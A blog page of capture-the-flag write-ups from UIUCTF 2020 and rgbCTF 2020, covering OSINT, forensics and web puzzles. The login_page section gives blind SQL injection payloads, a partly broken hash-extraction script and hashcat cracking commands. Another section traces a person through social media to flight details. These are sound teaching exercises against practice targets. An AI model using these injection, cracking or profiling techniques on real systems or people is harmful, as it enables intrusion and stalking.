UIUCTF 2020 Writeups


Challenge Name Category Solves Points
login_page Web 20 200
Starter OSINT OSINT 95 20
Isabelle’s Bad Opsec 1 OSINT 87 40
Isabelle’s Bad Opsec 2 OSINT 81 40
Isabelle’s Bad Opsec 3 OSINT 28 80
Isabelle’s Bad Opsec 4 OSINT 21 100
Isabelle’s Bad Opsec 5 OSINT 32 100

Date : Thu, 16 July 2020, 23:00 PDT — Sat, 18 July 2020, 23:00 PDT

Teams with Points : 387

Notes : First blood on Starter OSINT, Isabelle's Bad Opsec 1 & 2


Category: Web | Solves: 20 | Points: 200

login_page challenge description

The site is rather simple, with only a small login box and a user lookup feature. Since we’re told the site is running SQLite, it’s a safe we’re looking for something revolving around an injection. We try searching for just the SQLite wildcard “%” (which matches any string of 0 or more characters) and we’re presented with a nice list of all the users in the database.

user list found using sqlite wildcard

From here, we try to log in as Alice and are told we have the wrong password, but also given a password hint.

login hint for alice

After playing around with injections for a little while, we find a nested SELECT query which proves to be extremely useful. By querying the sqlite_master table we can ask for data from any column in the database, but we can’t actually SEE it. When we combine the nested SELECT query with a conditional AND statement, we can start to piece together the contents of those columns.

Through trial and error, we find that there are three basic ways in which the server can respond to our queries: with data, with no data, or with an error. Each of these happens in a different situation and gives us more insight into the structure of the database.

First, since we already know USERNAME exists, we use this as a baseline for a known-good query. We see that we get user data back when a specific column exists.

%" AND username in (SELECT username FROM sqlite_master where username like "%") --

results from good sql subquery

Next, we try to query columns for users we know don’t exist. This simply returns no information at all, without giving us any errors.

%" AND username in (SELECT username FROM sqlite_master where username like "FAKE") --

no results from sql subquery

Lastly, we try a non-existent column to establish a baseline response for faulty queries. When this is the case, we get the message ERROR: Something went wrong! We also get this error when we forget to comment out otherwise good, working queries by ending the query with the SQL single-line comment symbol --

%" AND username in (SELECT username FROM sqlite_master where FAKE like "%") --

error message on bad sql query

Using this knowledge we can guess at what the password column must be called, and after a couple tries we find that “password_hash” doesn’t throw us any errors. Now that we know what we’re up against, we can switch up our query and use our old wildcard friend to brute-force the hash 1 character at a time by using a query like:

%" AND username in (SELECT username FROM sqlite_master where password_hash like "%") --

results from good sql subquery

Below is Python script that will be responsible for doing all of the heavy lifting. If what we know of the hash so far is correct for that user, the user’s information is returned (e.g if Bob’s hash starts with 41%.) If any character of the hash so far is wrong (e.g if we ask if Bob’s hash starts with 4F%) the application won’t return us any info at all. This allows us to check for the existence of the bio string for each user to make sure we’re always on the right track.

import requests
chars = '1234567890abcdef'                    
names = ['alice','bob','carl','dania','noob'] 

def hashfinder(x, name):                      
    url = 'https://login.chal.uiuc.tf/search'
    query = {'request' : name+'" AND username in (SELECT username FROM sqlite_master where password_hash like "'+x+'%") -- -'}
    req = requests.post(url, data=query)      
    if 'is '+name in req.text:                

for name in names:                            
    while len(pwhash) < 32:                   
        for y in chars:                       
            if hashfinder(pwhash+y, name):    
                if len(pwhash) == 32:         
                    print(name +':'+ pwhash)  

When run, this bad boy gives us the output of:

name hash
alice 530bd2d24bff2d77276c4117dc1fc719
bob 4106716ae604fba94f1c05318f87e063
carl 661ded81b6b99758643f19517a468331
dania 58970d579d25f7288599fcd709b3ded3
noob 8553127fedf5daacc26f3b677b58a856

Now that we have extracted all the hashes, we can get to work trying to crack them using the hints we are given. Luckily, there is only one hash without a corresponding hint (8553127fedf5daacc26f3b677b58a856) and with a simple Google search we find out that the password is SoccerMom2007. We use this password to sign in and are given the first part of our flag : uiuctf{Dump Side note: the password/hash combo is on Google because it is in the very popular RockYou wordlist that is very commonly used in CTF-like challenges and is even included in Kali Linux (can be found in /usr/share/wordlists/rockyou.txt.gz)

looking up the first hash on google

The second and third hashes are cracked very quickly with a very basic Hashcat command. It’s worth noting that Hashcat has a built in mode for double MD5 (-m 2600), so Bob’s password isn’t really any harder to crack than Alice’s as far as the commands go (although double MD5 is obviously slightly slower to crack.) If you want to learn more about the basics of cracking hashes with Hashcat, you can do so here. If you don’t have a beefy GPU available, there’s an interesting blog post on how you can run Hashcat for free on Google Colab that you might find useful!

Hash number four requires us to build our own wordlist in the format of Greek God name + U.S. State name. This can be accomplished by finding these two separate lists on Google, and mixing with a quick Python script. I’m not going to include it here since it’s mundane, but you can click the links if you want to see the lists and code behind this task. We found that the password ended up being DionysusDelaware and claimed the 4th piece of the flag.

The fifth and final hash is the most interesting one of the bunch. The password hint is in Arabic and translates to My favorite animal (6 characters only) (this was later updated to specify Arabic characters.) We ran it against a few animal wordlists to make sure it wasn’t going to be THAT easy before deciding to crack the hash by guessing Arabic characters. This is tricky, but doable running Hashcat with the following arguments:

hashcat -m 0 -a 3 --hex-charset -1 d8d9dadb -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -o output hashes "?1?2?1?2?1?2?1?2?1?2?1?2"

On this UTF-8 encoding table, Arabic letters span 256 characters from D880 to DBBF. We split up these two bytes and create a mask for each, meaning that each single Arabic letter is represented in the mask by a ?1?2 pair. Once we get the rule written, the hash is cracked rather quickly. With the final hash cracked, all we have to do is put together the five pieces of the flag and claim out 200 points!

arabic character on the unicode/utf-8 character table

Here’s what all the data looks like when we’re all done:

name hint hash password flag
noob (none) 8553127fedf5daacc26f3b677b58a856 SoccerMom2007 uiuctf{Dump
alice My phone number (format: 000-000-0000) 530bd2d24bff2d77276c4117dc1fc719 704-186-9744 _4nd_un
bob My favorite 12 digit number (md5 hashed for extra security) [starts with a 10] 4106716ae604fba94f1c05318f87e063 5809be03c7cc31cdb12237d0bd718898 h45h_63
carl My favorite Greek God + My least favorite US state (no spaces) 661ded81b6b99758643f19517a468331 DionysusDelaware 7_d4t_
dania الحيوان المفضل لدي (6 أحرف عربية فقط) 58970d579d25f7288599fcd709b3ded3 طاووسة c45h}

— Back to Top —

Starter OSINT

Category: OSINT | Solves: 95 | Points: 20

Our friend isabelle has recently gotten into cybersecurity, she made a point of it by rampantly tweeting about it. Maybe you can find some useful information ;).

While you may not need it, IsabelleBot has information that applies to this challenge.

Finishing the warmup OSINT chal will really help with all the other osint chals

The first two characters of the internal of this flag are 'g0', it may not be plaintext

Made By: Thomas (I like OSINT)

We’re looking for an account that has been active recently and is named/has something to do with the character Isabelle. A quick Twitter search for "Isabelle"+"Security" or "Isabelle"+"Hack" sorted by “Latest” will lead you to the user “epichackerisabelle” / @hackerisabelle after a small bit of scrolling. We make sure to click the “Tweets & Replies” button up top so that we see ALL of her tweets, and after a bit of scrolling, we find the flag.

isabelle's past tweet

— Back to Top —

Isabelle’s Bad Opsec 1

Category: OSINT | Solves: 87 | Points: 40

Isabelle has some really bad opsec! She left some code up on a repo that definitely shouldnt be public. Find the naughty code and claim your prize.

Finishing the warmup OSINT chal will really help with this chal

The first two characters of the internal of this flag are 'c0', it may not be plaintext Additionally, the flag format may not be standard capitalization. Please be aware

Made By: Thomas

Finding a Github account is even easier because all we need to do is search for “Isabelle,” click on Users button, and then sort by “Most Recently Joined.” We see that she’s one of the accounts created most recently. One of the most popular places to hide secrets in Github is in past commits, so we go looking there and we an interesting base64 encoded value in this commit. We decode the base64 and see that the flag is uiuctf{c0mM1t_to_your_dr3@m5!}

github user seach sorted by most recently created

— Back to Top —

Isabelle’s Bad Opsec 2

Category: OSINT | Solves: 81 | Points: 40

Wow holy heck Isabelle's OPSEC is really bad. She was trying to make a custom youtube api but it didnt work. Can you find her channel??

Finishing Isabelle's Opsec 1 will may you with this challenge

The first two characters of the internal of this flag are 'l3', it may not be plaintext Additionally, the flag format may not be standard capitalization. Please be aware

Made By: Thomas

The challenge text suggests that the next secret is in the other repository, so we go over there to sort through past commits once again. We run across the channel id in this commit and now we get to switch focus to hunting around on YouTube. The flag ends up being in the URL of the “My website” link on the EliteHackerIsabelle1337 YouTube page.

past github commit that shows isabelle's channel url

— Back to Top —

Isabelle’s Bad Opsec 3

Category: OSINT | Solves: 28 | Points: 80

Isabelle has a youtube video somewhere, something is hidden in it.

Solving Previous OSINT Chals will help you with this challenge

The first two characters of the internal of this flag are 'w3', it may not be plaintext. Additionally, the flag format may not be standard capitalization. Please be aware

Made By: Thomas

This challenge leaves you with very few clues other than it’s “it’s in the video,” which could mean just about anything. After doing some analysis on the audio and video, and nothing immediately pops out. We realize that for the low point total, we’re probably overthinking it. The challenge is only really solved by exhaustively clicking on all the buttons. We find the flag by clicking the “Add Translation” button.

the page for adding translations on youtube

— Back to Top —

Isabelle’s Bad Opsec 4

Category: OSINT | Solves: 21 | Points: 100

Isabelle hid one more secret somewhere on her youtube channel! Can you find it!?

Finishing previous OSINT Chals will assist you with this challenge

The first two characters of the internal of this flag are 'th', it may not be plaintext

Additionally, the flag format may not be standard capitalization. Please be aware

Made By: Thomas [Authors Note] I love this chal because I used it IRL to find out who someone cyberbullying a friend was. It's real OSINT -Thomas

This is more of the same, except now the flag is just hidden somewhere “in the channel.” Instead of sifting through browser traffic to find all the assets unique to the channel, we use the top Google result for “YouTube OSINT Tool” and start sifting through the results we get back. The flag turns out to be hidden in the profile’s banner image, which is cropped differently for different platforms (desktop, mobile, smart TV, etc.)

list of URLs to alternate banners

alternate banner that shows the flag

— Back to Top —

Isabelle’s Bad Opsec 5

Category: OSINT | Solves: 32 | Points: 100

Isabelle had one more secret on her youtube account, but it was embarrassing.

Finishing previous OSINT Chals will assist you with this challenge

The first two characters of the internal of this flag are 'hi', it may not be plaintext

The flag capitalization may be different, please be aware

A challenge that mentions something that used to be on a website that isn’t anymore… sounds like a job for the Wayback Machine. Sure enough, we try all of the pages and find that the URL for “My website” used to be a different flag.

— Back to Top —

greetz 2 @netspooky @xEHLE_ @Vechshshshs @banesec @d3npa21 @hermit and @dollarvpncIub

rgbCTF 2020 Writeups


Challenge Name Category Solves Points
Adventure Misc 21 495
Picking Up The Pieces Misc 93 403
PI 1: Magic in the Air Forensics/OSINT 52 470
PI 2: A Series of Tubes Forensics/OSINT 22 495
Robin’s Reddit Password Forensics/OSINT 30 490
Alien Transmission 1 Forensics/OSINT 158 219
Typeracer Web 184 119


Category: Misc | Solves: 21 | Points: 495

Adventure challenge description

Right off the bat, there’s a huge hint in the description with the weird capitalization that spells out ATARI. Okay, so we can check to see if this is actually an Atari game by throwing it in an emulator. We pop it in and lo and behold, we have ourselves a game!

Breakfast game for Atari

So what is immediately obvious is that this is not a standard game (I mean your character sprite is just the number 1.) Any time there are customized/edited assets inside a game, I try to “work backwards” and think of what sort of tools are out there to do this specific thing. After a bit of searching, I found Hack-O-Matic III on Romhacking.net. It’s a simple program that shows the ROM literally bit-by-bit, making it easier to spot sprites. Sure enough, that leads us to the flag.

The flag

— Back to Top —

Picking Up The Pieces

Category: Misc | Solves: 93 | Points: 403

Challenge description

Boy oh boy, it’s a pathfinding puzzle! Usually when someone wants to find the most efficient path between two points, they’re going to want to use Dijikstra’s Algorithm. It’s the algorithm at the heart of Waze, Google Maps, and countless other applications, so you know it has to be good.

If you want learn to more about it, check out this great video by Computerphile.

Sample path data

We start off by opening map.txt to see what we’re working with, and it appears to be fairly standard stuff outside of the strings at the end. The first two numbers are the intersections that are connected and the third number is the distance between the two. Luckily Dijkstra’s algorithm is popular enough to have thousands of libraries/packages/code snippets to reference. We still have to write code of course, but RyanCarrier/dijkstra does the real heavy lifting here.

package main

import (


func main() {
	// initialize the map and 200,000 numbered points
	graph := dijkstra.NewGraph()

	for i := 1; i < 200001; i++ {

	// open file with path data
	file, _ := os.Open("map.txt")
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		x := scanner.Text()
		y := strings.Split(x, " ")
		// convert strings to int
		z1, _ := strconv.Atoi(y[0])
		z2, _ := strconv.Atoi(y[1])
		z3, _ := strconv.Atoi(y[2])
		// routes needs to be added both ways
		graph.AddArc(z1, z2, int64(z3))
		graph.AddArc(z2, z1, int64(z3))

	// find and print the best path
	best, err := graph.Shortest(1, 200000)
	if err != nil {


Sample path data

We run our code and it spits out the optimal path, just as we hoped. All that’s left is to write a quick one-liner to spit out the relevant lines and we’re done!

The flag is : rgbCTF{1m_b4d_4t_sh0pping}

Sample path data

— Back to Top —

PI 1: Magic in the Air

Category: Forensics/OSINT | Solves: 52 | Points: 470

Challenge text

Right off the bat we know we’re dealing with some sort of sniffed wireless traffic. Opening the unzipped file in a hex editor confirms that we’re dealing with a Bluetooth capture, so we can go ahead and open it up in Wireshark and get a better idea of what exactly we’re working with.

File in hex editor

Bluetooth capture in Wireshark

The source is named G613 and we know it’s a Human Interface Device, a quick Google search will show that it’s a wireless keyboard. A quick once-over of the file reveals that the most commonly received message is this “Rcvd Handle Value Notification” which has the same 12-byte header and a constantly changing 13th byte. This is easily confirmed by flipping through packets while referencing this keymap from the greatscottgadgets/libbtbb repo on GitHub. We convert the file to hex and then write this snippet of code to regex out the information we need and compare it to the keymap dictionary we found earlier.

Python code to extract keystrokes from Bluetooth capture

The result provides us with the phone number and country it’s from. A quick Google search reveals that +46 is the dialing code for Sweden, so we have everything we need to solve this challenge and start on the next!

Extracted keystrokes

— Back to Top —

PI 2: A Series of Tubes

Category: Forensics/OSINT | Solves: 22 | Points: 495

Challenge text

The challenge before this had us extract a suspect’s phone number from a Bluetooth capture file. A quick Google search doesn’t return anything of value, but that’s okay because there’s a lot of places you can go with a phone number. We put the number into our phone and open Snapchat, one of the million social media apps that want access to our contact list.

Added contact to phonebook

Lo and behold, good ol’ Donny is not only on Snapchat, but actively posting information to his public “story” that we can use to pivot to other social media platforms.

Snapchat suggesting my new contact

Target's Snapchat story

On Instagram we can quickly scan his public highlights to see that he’s mentioned being in Bristol, Digbeth, “Brum” (slang for Birmingham), and “Selly” (short for Selly Oak, an area in Birmingham.) Since he mentions being in Selly with housemates, we can safely assume that he lives there.

Instagram story highlight

In his highlights, he also posts a partially redacted screenshot of a flight itinerary leaving from [UNKNOWN] and heading to Amsterdam. Since we have determined that the target lives in Birmingham, we can look up flights on that day from Birmingham to Amsterdam to find the flight number which is KL 1426. All that’s left is to do a quick Google search for the ISO 3166-1 Alpha 2 code (which for England is surprisingly ‘GB’ and not ‘UK.’)

We put all this together to get our flag : rgbCTF{donovanlockheart:birmingham:gb:kl1426}

Instagram story highlight

Target's flight information

— Back to Top —

Robin’s Reddit Password

Category: Forensics/OSINT | Solves: 30 | Points: 490

Challenge text

I have to admit that at first I couldn’t quite wrap my head around this one, but the bit about breaking into Reddit’s server reminded me of a funny easter egg someone had sent me before.

reddit easter egg

Sure enough, one of the users here is Robin. We google the hash and find out that someone has already cracked the hashes for us (thank you, stranger) so we can just wrap it in the flag format and submit it!

reddit hashes crakced

It’s also worth noting that this challenge could have just as easily been solved with one Google search as well.

— Back to Top —

Alien Transmission 1

Category: Forensics/OSINT | Solves: 158 | Points: 219

Alien Transmission Challenge Text

We’re given a .WAV file, and the clue tells us that it came over the radio, so right away we can go looking for ways to decode this 36 second audio clip into something meaningful. When you open it with Audacity and look at the spectrogram, we are presented with the image on the left. After a little bit of digging, the image matches pretty closely with what a Slow Scan Television (SSTV) signal looks like (image on the right)


Often times programs that pull data from audio involve complex setups with virtual audio devices and whatnot. Luckily there’s a tool on GitHub (xdsopl/robot36) to encode/decode SSTV in a mode called Robot36. After compiling the tool, we run it against the file and grab our flag!

robot36 output

The Flag

— Back to Top —


Category: Web | Solves: 184 | Points: 119

Typeracer challenge description

Straight out of the gate, this looks like a pretty neat little game. You can’t just copy and paste the sample text because in the page source, each word is generated out of order, in a different span, and on a different layer. You could try to de-obfuscate and try to figure out the javascript that renders that whole mess, but what a pain in the ass that would be.

Typeracer web app

obfuscated javascript

The way Firefox Developer Tools were designed actually makes this challenge an absolute breeze. When you start typing a variable name in the javascript console, it not only brings up a list of variables, but also shows the value of whichever one you highlight. Since the obfuscation renames variables in the format of _0xFFFFFF, we can easily find the variables corresponding with our input textbox and the target string.

To solve the challenge from here, all we have to do is type _0x318f00 = _0x35179f into the console, start the game, and hit enter.

Firefox Developer Tools Javascript console

the base64 encoded flag

— Back to Top —